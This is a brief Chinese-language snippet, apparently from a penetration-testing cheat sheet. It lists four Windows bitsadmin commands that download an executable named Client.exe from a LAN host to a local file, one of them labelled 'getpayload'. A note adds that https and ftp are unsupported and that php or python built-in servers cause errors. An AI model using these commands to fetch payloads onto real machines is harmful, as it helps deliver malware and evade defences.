不支持https、ftp协议，php python带的服务器会出错
>bitsadmin /transfer n http://192.168.1.192/Client.exe e:\1.exe
>bitsadmin /rawreturn /transfer getfile http://192.168.1.192/Client.exe e:\1.exe
>bitsadmin /rawreturn /transfer getpayload http://192.168.1.192/Client.exe e:\1.exe
>bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.1.192/Client.exe" "e:\1.exe "